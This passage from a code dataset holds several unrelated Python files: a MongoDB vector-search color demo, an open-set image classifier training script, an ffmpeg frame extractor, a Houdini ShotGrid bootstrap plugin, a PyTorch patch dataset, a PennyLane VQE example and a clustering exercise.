(0, 0, 0)),\n (\"BlanchedAlmond\", (255, 235, 205)),\n (\"Blue\", (0, 0, 255)),\n (\"BlueViolet\", (138, 43, 226)),\n (\"Brown\", (165, 42, 42)),\n (\"BurlyWood\", (222, 184, 135)),\n (\"CadetBlue\", (95, 158, 160)),\n (\"Chartreuse\", (127, 255, 0)),\n (\"Chocolate\", (210, 105, 30)),\n (\"Coral\", (255, 127, 80)),\n (\"CornflowerBlue\", (100, 149, 237)),\n (\"Cornsilk\", (255, 248, 220)),\n (\"Crimson\", (220, 20, 60)),\n (\"Cyan\", (0, 255, 255)),\n (\"DarkBlue\", (0, 0, 139)),\n (\"DarkCyan\", (0, 139, 139)),\n (\"DarkGoldenrod\", (184, 134, 11)),\n (\"DarkGray\", (169, 169, 169)),\n (\"DarkGreen\", (0, 100, 0)),\n (\"DarkKhaki\", (189, 183, 107)),\n (\"DarkMagenta\", (139, 0, 139)),\n (\"DarkOliveGreen\", (85, 107, 47)),\n (\"DarkOrange\", (255, 140, 0)),\n (\"DarkOrchid\", (153, 50, 204)),\n (\"DarkRed\", (139, 0, 0)),\n (\"DarkSalmon\", (233, 150, 122)),\n (\"DarkSeaGreen\", (143, 188, 139)),\n (\"DarkSlateBlue\", (72, 61, 139)),\n (\"DarkSlateGray\", (47, 79, 79)),\n (\"DarkTurquoise\", (0, 206, 209)),\n (\"DarkViolet\", (148, 0, 211)),\n (\"DeepPink\", (255, 20, 147)),\n (\"DeepSkyBlue\", (0, 191, 255)),\n (\"DimGray\", (105, 105, 105)),\n (\"DodgerBlue\", (30, 144, 255)),\n (\"FireBrick\", (178, 34, 34)),\n (\"FloralWhite\", (255, 250, 240)),\n (\"ForestGreen\", (34, 139, 34)),\n (\"Fuchsia\", (255, 0, 255)),\n (\"Gainsboro\", (220, 220, 220)),\n (\"GhostWhite\", (248, 248, 255)),\n (\"Gold\", (255, 215, 0)),\n (\"Goldenrod\", (218, 165, 32)),\n (\"Gray\", (128, 128, 128)),\n (\"Green\", (0, 128, 0)),\n (\"GreenYellow\", (173, 255, 47)),\n (\"HoneyDew\", (240, 255, 240)),\n (\"HotPink\", (255, 105, 180)),\n (\"IndianRed\", (205, 92, 92)),\n (\"Indigo\", (75, 0, 130)),\n (\"Ivory\", (255, 255, 240)),\n (\"Khaki\", (240, 230, 140)),\n (\"Lavender\", (230, 230, 250)),\n (\"LavenderBlush\", (255, 240, 245)),\n (\"LawnGreen\", (124, 252, 0)),\n (\"LemonChiffon\", (255, 250, 205)),\n (\"LightBlue\", (173, 216, 230)),\n (\"LightCoral\", (240, 128, 128)),\n (\"LightCyan\", (224, 255, 255)),\n (\"LightGoldenrodYellow\", (250, 250, 210)),\n (\"LightGray\", (211, 211, 211)),\n (\"LightGreen\", (144, 238, 144)),\n (\"LightPink\", (255, 182, 193)),\n (\"LightSalmon\", (255, 160, 122)),\n (\"LightSeaGreen\", (32, 178, 170)),\n (\"LightSkyBlue\", (135, 206, 250)),\n (\"LightSlateGray\", (119, 136, 153)),\n (\"LightSteelBlue\", (176, 196, 222)),\n (\"LightYellow\", (255, 255, 224)),\n (\"Lime\", (0, 255, 0)),\n (\"LimeGreen\", (50, 205, 50)),\n (\"Linen\", (250, 240, 230)),\n (\"Magenta\", (255, 0, 255)),\n (\"Maroon\", (128, 0, 0)),\n (\"MediumAquamarine\", (102, 205, 170)),\n (\"MediumBlue\", (0, 0, 205)),\n (\"MediumOrchid\", (186, 85, 211)),\n (\"MediumPurple\", (147, 112, 219)),\n (\"MediumSeaGreen\", (60, 179, 113)),\n (\"MediumSlateBlue\", (123, 104, 238)),\n (\"MediumSpringGreen\", (0, 250, 154)),\n (\"MediumTurquoise\", (72, 209, 204)),\n (\"MediumVioletRed\", (199, 21, 133)),\n (\"MidnightBlue\", (25, 25, 112)),\n (\"MintCream\", (245, 255, 250)),\n (\"MistyRose\", (255, 228, 225)),\n (\"Moccasin\", (255, 228, 181)),\n (\"NavajoWhite\", (255, 222, 173)),\n (\"Navy\", (0, 0, 128)),\n (\"OldLace\", (253, 245, 230)),\n (\"Olive\", (128, 128, 0)),\n (\"OliveDrab\", (107, 142, 35)),\n (\"Orange\", (255, 165, 0)),\n (\"OrangeRed\", (255, 69, 0)),\n (\"Orchid\", (218, 112, 214)),\n (\"PaleGoldenrod\", (238, 232, 170)),\n (\"PaleGreen\", (152, 251, 152)),\n (\"PaleTurquoise\", (175, 238, 238)),\n (\"PaleVioletRed\", (219, 112, 147)),\n (\"PapayaWhip\", (255, 239, 213)),\n (\"PeachPuff\", (255, 218, 185)),\n (\"Peru\", (205, 133, 63)),\n (\"Pink\", (255, 192, 203)),\n (\"Plum\", (221, 160, 221)),\n (\"PowderBlue\", (176, 224, 230)),\n (\"Purple\", (128, 0, 128)),\n (\"RebeccaPurple\", (102, 51, 153)),\n (\"Red\", (255, 0, 0)),\n (\"RosyBrown\", (188, 143, 143)),\n (\"RoyalBlue\", (65, 105, 225)),\n (\"SaddleBrown\", (139, 69, 19)),\n (\"Salmon\", (250, 128, 114)),\n (\"SandyBrown\", (244, 164, 96)),\n (\"SeaGreen\", (46, 139, 87)),\n (\"SeaShell\", (255, 245, 238)),\n (\"Sienna\", (160, 82, 45)),\n (\"Silver\", (192, 192, 192)),\n (\"SkyBlue\", (135, 206, 235)),\n (\"SlateBlue\", (106, 90, 205)),\n (\"SlateGray\", (112, 128, 144)),\n (\"Snow\", (255, 250, 250)),\n (\"SpringGreen\", (0, 255, 127)),\n (\"SteelBlue\", (70, 130, 180)),\n (\"Tan\", (210, 180, 140)),\n (\"Teal\", (0, 128, 128)),\n (\"Thistle\", (216, 191, 216)),\n (\"Tomato\", (255, 99, 71)),\n (\"Turquoise\", (64, 224, 208)),\n (\"Violet\", (238, 130, 238)),\n (\"Wheat\", (245, 222, 179)),\n (\"White\", (255, 255, 255)),\n (\"WhiteSmoke\", (245, 245, 245)),\n (\"Yellow\", (255, 255, 0)),\n (\"YellowGreen\", (154, 205, 50)),\n]\n\n\ndef to_html_hex(vector):\n return \"\".join([\"%02x\" % it for it in vector])\n\n\ndef to_normalized_rgb(vector):\n return [it / 255 for it in vector]\n\n\ndef to_normalized_hls(vector):\n return colorsys.rgb_to_hls(*to_normalized_rgb(vector))\n\n\ndef to_normalized_hsv(vector):\n return colorsys.rgb_to_hsv(*to_normalized_rgb(vector))\n\n\ndef seed():\n client = MongoClient(os.environ.get(\"MONGODB_CONNECTION_STRING\"))\n db = client.get_database(os.environ.get(\"MONGODB_DATABASE\"))\n coll = db.get_collection(os.environ.get(\"MONGODB_COLLECTION\"))\n\n coll.drop()\n coll.insert_many(\n [\n {\n \"_id\": it[0],\n \"rgb\": it[1],\n \"rgb_normalized\": to_normalized_rgb(it[1]),\n \"hls_normalized\": to_normalized_hls(it[1]),\n \"hsv_normalized\": to_normalized_hsv(it[1]),\n }\n for it in COLORS\n ]\n )\n\n\ndef search():\n search_color = (\n int(sys.argv[2]) if len(sys.argv) > 2 else random.randint(0, 255),\n int(sys.argv[3]) if len(sys.argv) > 3 else random.randint(0, 255),\n int(sys.argv[4]) if len(sys.argv) > 4 else random.randint(0, 255),\n )\n\n client = MongoClient(os.environ.get(\"MONGODB_CONNECTION_STRING\"))\n db = client.get_database(os.environ.get(\"MONGODB_DATABASE\"))\n coll = db.get_collection(os.environ.get(\"MONGODB_COLLECTION\"))\n index = os.environ.get(\"MONGODB_ATLAS_SEARCH_INDEX\")\n\n search_rgb = to_normalized_rgb(search_color)\n cursor_rgb = coll.aggregate(\n [\n {\n \"$search\": {\n \"index\": index,\n \"knnBeta\": {\n \"vector\": search_rgb,\n \"path\": \"rgb_normalized\",\n \"k\": 10,\n },\n }\n },\n {\"$addFields\": {\"similarity\": {\"$meta\": \"searchScore\"}}},\n ]\n )\n matches_rgb = list(cursor_rgb)\n\n search_hls = to_normalized_hls(search_color)\n cursor_hls = coll.aggregate(\n [\n {\n \"$search\": {\n \"index\": index,\n \"knnBeta\": {\n \"vector\": search_hls,\n \"path\": \"hls_normalized\",\n \"k\": 10,\n },\n }\n },\n {\"$addFields\": {\"similarity\": {\"$meta\": \"searchScore\"}}},\n ]\n )\n matches_hls = list(cursor_hls)\n\n search_hsv = to_normalized_hsv(search_color)\n cursor_hsv = coll.aggregate(\n [\n {\n \"$search\": {\n \"index\": index,\n \"knnBeta\": {\n \"vector\": search_hsv,\n \"path\": \"hsv_normalized\",\n \"k\": 10,\n },\n }\n },\n {\"$addFields\": {\"similarity\": {\"$meta\": \"searchScore\"}}},\n ]\n )\n matches_hsv = list(cursor_hsv)\n\n with open(\"colors_mongodb.html\", mode=\"w\", encoding=\"utf-8\") as fp:\n rgb_string = [f\"{it:.4f}\" for it in search_rgb]\n hls_string = [f\"{it:.4f}\" for it in search_hls]\n hsv_string = [f\"{it:.4f}\" for it in search_hsv]\n\n fp.write(\"\")\n fp.write(\"\")\n\n fp.write(\"\")\n fp.write(f\"\")\n fp.write(f\"\")\n fp.write(f\"\")\n\n fp.write(\"
    \")\n\n fp.write(\n f\"\"\"\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
    Search color
    RGBHTMLRGB (normalized)HLS (normalized)HSV (normalized)
    {search_color}#{to_html_hex(search_color)}{rgb_string}{hls_string}{hsv_string} 
    \"\"\"\n )\n\n fp.write(\"
    \")\n\n fp.write(f\"\")\n fp.write(f\"\")\n fp.write(f\"\")\n\n for match in matches_rgb:\n similarity = match[\"similarity\"]\n color_name = match[\"_id\"]\n rgb_normalized = [f\"{it:.4f}\" for it in match[\"rgb_normalized\"]]\n\n fp.write(\n f\"\"\"\n \n \n \n \n \"\"\"\n )\n\n fp.write(f\"
    RGB
    ColorVectorSimilarity
    {color_name}{rgb_normalized}{similarity:.4f} 
    \")\n\n fp.write(f\"\")\n fp.write(f\"\")\n\n for match in matches_hls:\n similarity = match[\"similarity\"]\n color_name = match[\"_id\"]\n hls_normalized = [f\"{it:.4f}\" for it in match[\"hls_normalized\"]]\n\n fp.write(\n f\"\"\"\n \n \n \n \n \"\"\"\n )\n\n fp.write(f\"
    HLS
    ColorVectorSimilarity
    {color_name}{hls_normalized}{similarity:.4f} 
    \")\n\n fp.write(f\"\")\n fp.write(f\"\")\n\n for match in matches_hsv:\n similarity = match[\"similarity\"]\n color_name = match[\"_id\"]\n hsv_normalized = [f\"{it:.4f}\" for it in match[\"hsv_normalized\"]]\n\n fp.write(\n f\"\"\"\n \n \n \n \n \"\"\"\n )\n\n fp.write(f\"
    HSV
    ColorVectorSimilarity
    {color_name}{hsv_normalized}{similarity:.4f} 
    \")\n fp.write(\"\")\n\n\nload_dotenv()\n\n\ndef main():\n action = sys.argv[1]\n\n if action == \"seed\":\n seed()\n\n if action == \"search\":\n search()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alanreyesv-mongodb-experiments/vector-search-demo","sub_path":"colors_mongodb.py","file_name":"colors_mongodb.py","file_ext":"py","file_size_in_byte":11757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16916106451","text":"import argparse\nimport logging\nfrom tqdm import tqdm\nimport os, time\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.nn.functional as F\nimport torchvision.models as models\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nfrom torch import optim\nimport random\nimport pickle\nfrom sklearn.preprocessing import normalize\nfrom PIL import Image\n\nfrom datasets.cifar_dataset import CIFARDataset\nfrom datasets.dataset import StandardDataset\nfrom evaluate import evaluate_val\nfrom models.backbone import encoder32\nfrom models.backbone_resnet import encoder\nfrom models.backbone_wide_resnet import wide_encoder\nfrom penalties import compute_rpl_loss\nfrom utils import count_parameters, setup_logger\n\ndef str2bool(v):\n return v.lower() in ('ture', '1')\n \nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--n_epochs\", type=int,\n help=\"number of epochs to train\", default=120)\n parser.add_argument(\"--gpu_id\", type=int,\n help=\"which gpu will be used\", default=1)\n parser.add_argument(\"--gap\", type=str,\n help=\"TRUE iff use global average pooling layer. Otherwise, use linear layer.\", default=\"TRUE\")\n parser.add_argument(\"--lr_scheduler\", type=str,\n help=\"patience, step.\", default=\"step\")\n parser.add_argument(\"--dataset\", type=str,\n help=\"mnist, svhn, cifar10, cifar10plus, cifar50plus, tiny_imagenet\", default=\"cifar10\")\n parser.add_argument(\"--split\", type=str,\n help=\"Split of dataset, split0, split1...\", default=\"split0\")\n parser.add_argument(\"--latent_size\", type=int,\n help=\"Dimension of embeddings.\", default=256)\n parser.add_argument(\"--num_rp_per_cls\", type=int,\n help=\"Number of reciprocal points per class.\", default=1)\n parser.add_argument(\"--lamb\", type=float,\n help=\"how much to weight the open-set regularization term in objective.\", default=0.1)\n parser.add_argument(\"--gamma\", type=float,\n help=\"how much to weight the probability assignment.\", default=0.5)\n parser.add_argument(\"--divide\", type=str,\n help=\"TRUE or FALSE, as to whether or not to divide loss by latent_size for convergence.\",\n default=\"TRUE\")\n parser.add_argument(\"--dataset_folder\", type=str,\n help=\"name of folder where dataset details live.\", default=\"./data\")\n parser.add_argument(\"--batch_size\", type=int,\n help=\"size of a batch during training\", default=64)\n parser.add_argument(\"--lr\", type=float,\n help=\"initial learning rate during training\", default=0.01)\n parser.add_argument(\"--patience\", type=int,\n help=\"patience of lr scheduler\", default=30)\n parser.add_argument(\"--img_size\", type=int,\n help=\"desired square image size.\", default=32)\n parser.add_argument(\"--num_workers\", type=int,\n help=\"number of workers during training\", default=4)\n parser.add_argument(\"--backbone\", type=str,\n help=\"architecture of backbone\", default=\"wide_resnet\")\n parser.add_argument(\"--checkpoint_folder_path\", type=str,\n help=\"./ckpt\", default=\"./ckpt/\")\n parser.add_argument(\"--load_history_model\", type=str2bool,\n help=\"True or False\", default=False)\n\n args = parser.parse_args()\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = str(args.gpu_id)\n CKPT_BASE_NAME = args.backbone\n LOGFILE_NAME = CKPT_BASE_NAME + '_logfile'\n experiment_ckpt_path = args.checkpoint_folder_path + args.dataset + '_' + args.split + '_' + CKPT_BASE_NAME\n if not os.path.exists(args.checkpoint_folder_path):\n os.mkdir(args.checkpoint_folder_path)\n if not os.path.exists(experiment_ckpt_path):\n os.mkdir(experiment_ckpt_path)\n os.mkdir(experiment_ckpt_path + '/' + 'backups')\n\n formatter = logging.Formatter('%(asctime)s %(levelname)s %(message)s')\n logger = setup_logger('logger', formatter, LOGFILE_NAME)\n \n dataset_folder_path = os.path.join(args.dataset_folder, args.dataset, args.split)\n with open(dataset_folder_path + '/train_obj.pkl', 'rb') as f:\n train_obj = pickle.load(f)\n with open(dataset_folder_path + '/test_obj.pkl', 'rb') as f:\n test_obj = pickle.load(f)\n with open(dataset_folder_path + '/meta.pkl', 'rb') as f:\n meta_dict = pickle.load(f)\n with open(dataset_folder_path + '/class_to_idx.pkl', 'rb') as f:\n class_to_idx = pickle.load(f)\n with open(dataset_folder_path + '/idx_to_class.pkl', 'rb') as f:\n idx_to_class = pickle.load(f)\n\n if args.dataset in ['mnist', 'svhn', 'cifar10']:\n known_num_classes = 6\n if args.dataset == 'mnist':\n train_trans = transforms.Compose([transforms.Resize((32, 32)),\n transforms.ToTensor()])\n val_trans = transforms.Compose([transforms.Resize((32, 32)),\n transforms.ToTensor()])\n else:\n train_trans = transforms.Compose([transforms.RandomCrop((32, 32), padding=4),\n transforms.RandomHorizontalFlip(0.5),\n transforms.ToTensor()])\n val_trans = transforms.Compose([transforms.ToTensor()])\n elif args.dataset in ['cifar10plus', 'cifar50plus']:\n known_num_classes = 4\n train_trans = transforms.Compose([transforms.RandomCrop((32, 32), padding=4),\n transforms.RandomHorizontalFlip(0.5),\n transforms.ToTensor()])\n val_trans = transforms.Compose([transforms.ToTensor()])\n elif args.dataset == 'tiny_imagenet':\n known_num_classes = 20\n train_trans = transforms.Compose([transforms.Resize((32, 32)),\n transforms.RandomCrop((32, 32), padding=4),\n transforms.RandomHorizontalFlip(0.5),\n transforms.ToTensor()])\n val_trans = transforms.Compose([transforms.Resize((32, 32)),\n transforms.ToTensor()])\n else:\n raise ValueError('Wrong dataset.')\n\n\n logging.info(\"Number of seen classes: \" + str(known_num_classes))\n dataset = CIFARDataset(train_obj, meta_dict, class_to_idx, train_trans)\n val_dataset = CIFARDataset(test_obj, meta_dict, class_to_idx, val_trans)\n\n if args.backbone == 'OSCRI_encoder':\n model = encoder32(meta_dict['image_size'], meta_dict['image_channels'], args.latent_size, num_classes=known_num_classes, num_rp_per_cls=args.num_rp_per_cls, gap=args.gap == 'TRUE')\n \n elif args.backbone == 'wide_resnet':\n model = wide_encoder(meta_dict['image_size'], meta_dict['image_channels'], args.latent_size, 40, 4, 0, num_classes=known_num_classes, num_rp_per_cls=args.num_rp_per_cls)\n else:\n raise ValueError(args.backbone + ' is not supported.')\n if args.load_history_model:\n model.load_state_dict(torch.load(experiment_ckpt_path + '/best_model.pt'))\n model.cuda()\n \n num_params = count_parameters(model)\n logger.info(\"Number of model parameters: \" + str(num_params))\n\n criterion = nn.CrossEntropyLoss(reduction='none')\n\n optimizer = optim.Adam(filter(lambda p: p.requires_grad, model.parameters()), lr=args.lr)\n scheduler = torch.optim.lr_scheduler.StepLR(optimizer, step_size=args.patience, gamma=0.1)\n\n train_loader = DataLoader(dataset, batch_size=args.batch_size, shuffle=True, num_workers=args.num_workers)\n val_loader = DataLoader(val_dataset, batch_size=args.batch_size, shuffle=False, num_workers=args.num_workers)\n train_n = len(train_loader.dataset)\n best_used_running_loss = 100000000\n best_val_acc = 0.\n\n last_lr = False\n for epoch in range(args.n_epochs):\n model.train()\n logger.info(\"EPOCH \" + str(epoch))\n\n actual_lr = None\n for param_group in optimizer.param_groups:\n curr_lr = param_group['lr']\n if actual_lr is None:\n actual_lr = curr_lr\n else:\n if curr_lr != actual_lr:\n raise ValueError(\"some param groups have different lr\")\n logger.info(\"Learning rate: \" + str(actual_lr))\n if actual_lr < 10 ** (-7):\n last_lr = True\n tic = time.time()\n with tqdm(total=train_n) as pbar:\n for i, data in enumerate(train_loader, 0):\n # get the inputs & combine positive and negatives together\n img = data['image']\n b = img.shape[0]\n img = img.cuda()\n\n labels = data['label']\n labels = labels.cuda()\n\n # zero the parameter gradients\n optimizer.zero_grad()\n outputs = model.forward(img)\n\n # Compute RPL loss\n loss, open_loss, closed_loss, logits = compute_rpl_loss(model, outputs, labels, criterion, args.lamb, args.gamma, args.divide == 'TRUE')\n loss.backward()\n optimizer.step()\n\n # update loss for this epoch\n running_loss = loss.item()\n\n probs = torch.softmax(logits, dim=1)\n max_probs, max_indices = torch.max(probs, 1)\n acc = torch.sum(max_indices == labels).item() / b\n toc = time.time()\n pbar.set_description(\n (\n \"{:.1f}s - loss: {:.3f} - acc: {:.3f}\".format(\n (toc - tic), running_loss, acc\n )\n )\n )\n pbar.update(b)\n model.eval()\n used_running_loss, used_val_acc = evaluate_val(model, criterion, val_loader, args.gamma, args.lamb, args.divide, logger)\n \n # Adjust learning rate\n scheduler.step()\n\n # case where only acc is top\n if used_val_acc > best_val_acc:\n best_val_acc = used_val_acc\n torch.save(model.state_dict(), experiment_ckpt_path + '/best_model.pt')\n \n if used_running_loss < best_used_running_loss:\n best_used_running_loss = used_running_loss\n","repo_name":"yunruiguo/Reciprocal-OSR","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10530,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73041912784","text":"from argparse import ArgumentParser\nfrom pathlib import Path\nfrom ffmpeg import extract_frames\n\nif __name__ == \"__main__\":\n parser = ArgumentParser()\n parser.add_argument(\"--input\", type=str, required=True, help=\"Path to input video\")\n parser.add_argument(\"--output\", type=str, required=True, help=\"Path to output folder where frames will be generated\")\n parser.add_argument(\"--skip\", type=int, default=0, help=\"Only render out ever n frames\")\n parser.add_argument(\"--zeroes\", type=int, default=5, help=\"Leading zeroes to prepend to frame names\")\n parser.add_argument(\"--format\", type=str, default=\"png\", help=\"File format\")\n args = parser.parse_args()\n\n input_path = Path(args.input)\n output_path = Path(args.output)\n\n if not input_path.exists():\n print(f\"--input path: ${input_path} does not exist! Cannot extract frames.\")\n exit()\n \n output_path.mkdir(exist_ok=True)\n\n extract_frames(\n input_video_path=input_path,\n output_frames_path=output_path,\n skip_frames=args.skip,\n leading_zeroes=args.zeroes,\n img_format=args.format\n )\n","repo_name":"JamesPerlman/nerf_utils","sub_path":"ffmpeg/extract_frames.py","file_name":"extract_frames.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"48"} +{"seq_id":"36149961674","text":"import os\nimport sys\n\n\ndef bootstrap(plugin_root_path):\n \"\"\"\n Entry point for toolkit bootstrap in houdini.\n\n Called by the basic/startup/pythonX.Xlibs/pythonrc.py file.\n\n :param str plugin_root_path: Path to the root folder of the plugin\n \"\"\"\n\n # --- Import Core ---\n #\n # - If we are running the plugin built as a stand-alone unit,\n # try to retrieve the path to sgtk core and add that to the pythonpath.\n # When the plugin has been built, there is a sgtk_plugin_basic_houdini\n # module which we can use to retrieve the location of core and add it\n # to the pythonpath.\n # - If we are running toolkit as part of a larger zero config workflow\n # and not from a standalone workflow, we are running the plugin code\n # directly from the engine folder without a bundle cache and with this\n # configuration, core already exists in the pythonpath.\n\n # now see if we are running stand alone or in situ\n try:\n from sgtk_plugin_basic_houdini import manifest\n\n running_stand_alone = True\n except ImportError:\n manifest = None\n running_stand_alone = False\n\n if running_stand_alone:\n # running stand alone. import core from the manifest's core path and\n # extract the plugin info from the manifest\n\n # Retrieve the Shotgun toolkit core included with the plug-in and\n # prepend its python package path to the python module search path.\n # this will allow us to import sgtk\n tk_core_python_path = manifest.get_sgtk_pythonpath(plugin_root_path)\n sys.path.insert(0, tk_core_python_path)\n\n # plugin info from the manifest\n plugin_id = manifest.plugin_id\n base_config = manifest.base_configuration\n\n # get the path to the built plugin's bundle cache\n bundle_cache = os.path.join(plugin_root_path, \"bundle_cache\")\n else:\n # running in situ as part of zero config. sgtk has already added sgtk\n # to the python path. need to extract the plugin info from info.yml\n\n # import the yaml parser\n from tank_vendor import yaml\n\n # build the path to the info.yml file\n plugin_info_yml = os.path.join(plugin_root_path, \"info.yml\")\n\n # open the yaml file and read the data\n with open(plugin_info_yml, \"r\") as plugin_info_fh:\n plugin_info = yaml.load(plugin_info_fh, Loader=yaml.FullLoader)\n\n base_config = plugin_info[\"base_configuration\"]\n plugin_id = plugin_info[\"plugin_id\"]\n\n # no bundle cache in in situ mode\n bundle_cache = None\n\n # ---- now we have everything needed to bootstrap. finish initializing the\n # manager and logger, authenticate, then bootstrap the engine.\n\n import sgtk\n\n # start logging to log file\n sgtk.LogManager().initialize_base_file_handler(\"tk-houdini\")\n\n # get a logger for the plugin\n sgtk_logger = sgtk.LogManager.get_logger(\"plugin\")\n sgtk_logger.debug(\"Booting up toolkit plugin.\")\n\n try:\n # When the user is not yet authenticated, pop up the Shotgun login\n # dialog to get the user's credentials, otherwise, get the cached user's\n # credentials.\n user = sgtk.authentication.ShotgunAuthenticator().get_user()\n except sgtk.authentication.AuthenticationCancelled:\n # TODO: show a \"SG > Login\" menu in houdini\n sgtk_logger.info(\"SG login was cancelled by the user.\")\n return\n\n # Create a boostrap manager for the logged in user with the plug-in\n # configuration data.\n toolkit_mgr = sgtk.bootstrap.ToolkitManager(user)\n toolkit_mgr.base_configuration = base_config\n toolkit_mgr.plugin_id = plugin_id\n\n # include the bundle cache as a fallback if supplied\n if bundle_cache:\n toolkit_mgr.bundle_cache_fallback_paths = [bundle_cache]\n\n # Retrieve the Shotgun entity type and id when they exist in the\n # environment. These are passed down through the app launcher when running\n # in zero config\n entity = toolkit_mgr.get_entity_from_environment()\n sgtk_logger.debug(\"Will launch the engine with entity: %s\" % entity)\n\n # set up a simple progress reporter\n toolkit_mgr.progress_callback = bootstrap_progress_callback\n\n # start engine\n sgtk_logger.info(\"Bootstrapping the SG engine for Houdini...\")\n toolkit_mgr.bootstrap_engine(\"tk-houdini\", entity)\n\n sgtk_logger.debug(\"Bootstrap complete.\")\n\n\ndef bootstrap_progress_callback(progress_value, message):\n \"\"\"\n Called whenever toolkit reports progress.\n\n :param float progress_value: The current progress value. Values will be\n reported in incremental order and always in the range 0.0 to 1.0\n :param str message: Progress message string\n \"\"\"\n print(\"Bootstrap progress %s%%: %s\" % (int(progress_value * 100), message))\n","repo_name":"shotgunsoftware/tk-houdini","sub_path":"plugins/basic/python/tk_houdini_basic/plugin_bootstrap.py","file_name":"plugin_bootstrap.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"48"} +{"seq_id":"38855910680","text":"\"\"\"\n\nCustom sub-image patch dataset for Polar dataset\n\n\n\n\"\"\"\n\n\nfrom torch.utils.data import Dataset\nfrom torchvision import transforms\n\nimport numpy as np\nfrom PIL import Image\n\n\nfrom local_config import *\nfrom global_config import *\n\nclass PolarPatch(Dataset):\n def __init__(self, transform=None, split=\"train\"):\n super(PolarPatch, self).__init__()\n\n meta = np.load(META_DIR + \"meta.npy\", allow_pickle=True)\n\n\n s = int(TRAIN_SIZE * len(meta))\n if split == \"train\":\n meta = meta[:s]\n else:\n meta = meta[s:]\n \n\n self.images = range(len(meta))\n self.coords = [(row[1], row[2]) for row in meta]\n\n # Targets in integer form\n self.targets = [LABELS[row[3]] for row in meta]\n self.transform = transform\n\n\n def __len__(self):\n return len(self.targets)\n\n\n def __getitem__(self, index):\n\n x = Image.open(SAMPLING_DIR + str(self.images[index]) + \".png\")\n y = self.targets[index]\n coord = self.coords[index]\n\n if self.transform:\n \tx = self.transform(x)\n\n return x, y, coord\n\n\n\n\n\n\n\n\n","repo_name":"ysbecca/extremeearth-polar","sub_path":"code/polarpatch.py","file_name":"polarpatch.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"21207458066","text":"#!/usr/bin/env python3\n\nfrom pennylane import numpy as np\n\n\nsymbols = [\"H\", \"H\"]\ncoordinates = np.array([0.0, 0.0, -0.6614, 0.0, 0.0, 0.6614])\n\nimport pennylane as qml\n\nH, qubits = qml.qchem.molecular_hamiltonian(symbols, coordinates)\nprint(\"Number of qubits = \", qubits)\nprint(\"The Hamiltonian is \", H)\n\ndev = qml.device(\"default.qubit\", wires=qubits)\n\nelectrons = 2\nhf = qml.qchem.hf_state(electrons, qubits)\nprint(hf)\n\ndef circuit(param, wires):\n qml.BasisState(hf, wires=wires)\n qml.DoubleExcitation(param, wires=[0, 1, 2, 3])\n\n@qml.qnode(dev)\ndef cost_fn(param):\n circuit(param, wires=range(qubits))\n return qml.expval(H)\n\nopt = qml.GradientDescentOptimizer(stepsize=0.4)\n\ntheta = np.array(0.0, requires_grad=True)\n\n# store the values of the cost function\nenergy = [cost_fn(theta)]\n\n# store the values of the circuit parameter\nangle = [theta]\n\nmax_iterations = 100\nconv_tol = 1e-06\n\nfor n in range(max_iterations):\n theta, prev_energy = opt.step_and_cost(cost_fn, theta)\n\n energy.append(cost_fn(theta))\n angle.append(theta)\n\n conv = np.abs(energy[-1] - prev_energy)\n\n if n % 2 == 0:\n print(f\"Step = {n}, Energy = {energy[-1]:.8f} Ha\")\n\n if conv <= conv_tol:\n break\n\nprint(\"\\n\" f\"Final value of the ground-state energy = {energy[-1]:.8f} Ha\")\nprint(\"\\n\" f\"Optimal value of the circuit parameter = {angle[-1]:.4f}\")\n\nimport matplotlib.pyplot as plt\n\nfig = plt.figure()\nfig.set_figheight(5)\nfig.set_figwidth(12)\n\n# Full configuration interaction (FCI) energy computed classically\nE_fci = -1.136189454088\n\n# Add energy plot on column 1\nax1 = fig.add_subplot(121)\nax1.plot(range(n + 2), energy, \"go\", ls=\"dashed\")\nax1.plot(range(n + 2), np.full(n + 2, E_fci), color=\"red\")\nax1.set_xlabel(\"Optimization step\", fontsize=13)\nax1.set_ylabel(\"Energy (Hartree)\", fontsize=13)\nax1.text(0.5, -1.1176, r\"$E_\\mathrm{HF}$\", fontsize=15)\nax1.text(0, -1.1357, r\"$E_\\mathrm{FCI}$\", fontsize=15)\nplt.xticks(fontsize=12)\nplt.yticks(fontsize=12)\n\n# Add angle plot on column 2\nax2 = fig.add_subplot(122)\nax2.plot(range(n + 2), angle, \"go\", ls=\"dashed\")\nax2.set_xlabel(\"Optimization step\", fontsize=13)\nax2.set_ylabel(\"Gate parameter $\\\\theta$ (rad)\", fontsize=13)\nplt.xticks(fontsize=12)\nplt.yticks(fontsize=12)\n\nplt.subplots_adjust(wspace=0.3, bottom=0.2)\nplt.savefig(\"vqe.png\")\n\n\n","repo_name":"marcodelapierre/quantum-play","sub_path":"pennylane_quantumchem/pl-vqe.py","file_name":"pl-vqe.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41083790123","text":"\n\"\"\"\nHierarchical clustering of the grain data\nIn the video, you learned that the SciPy linkage() \nfunction performs hierarchical clustering on an array of samples. \nUse the linkage() function to obtain a hierarchical clustering of the grain samples,\nand use dendrogram() to visualize the result. A sample of the grain measurements is provided in\nthe array samples, while the variety of each grain sample is given by the list varieties.\n\n\"\"\"\n\n# Perform the necessary imports\nfrom scipy.cluster.hierarchy import linkage, dendrogram\nimport matplotlib.pyplot as plt\n\n# Calculate the linkage: mergings\nmergings = linkage(samples, method = \"complete\")\n\n# Plot the dendrogram, using varieties 